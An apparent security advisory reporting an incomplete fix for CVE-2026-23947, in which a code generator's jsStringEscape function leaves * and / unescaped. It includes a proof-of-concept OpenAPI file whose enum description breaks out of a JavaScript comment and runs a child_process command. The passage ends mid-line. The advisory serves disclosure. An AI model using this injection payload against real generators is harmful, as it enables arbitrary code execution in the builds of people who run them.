GHSA-gch2-phqh-fg9q

CVE-2026-23947 had an incomplete fix

While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.

Example:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        # "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
        - "pwned */ };...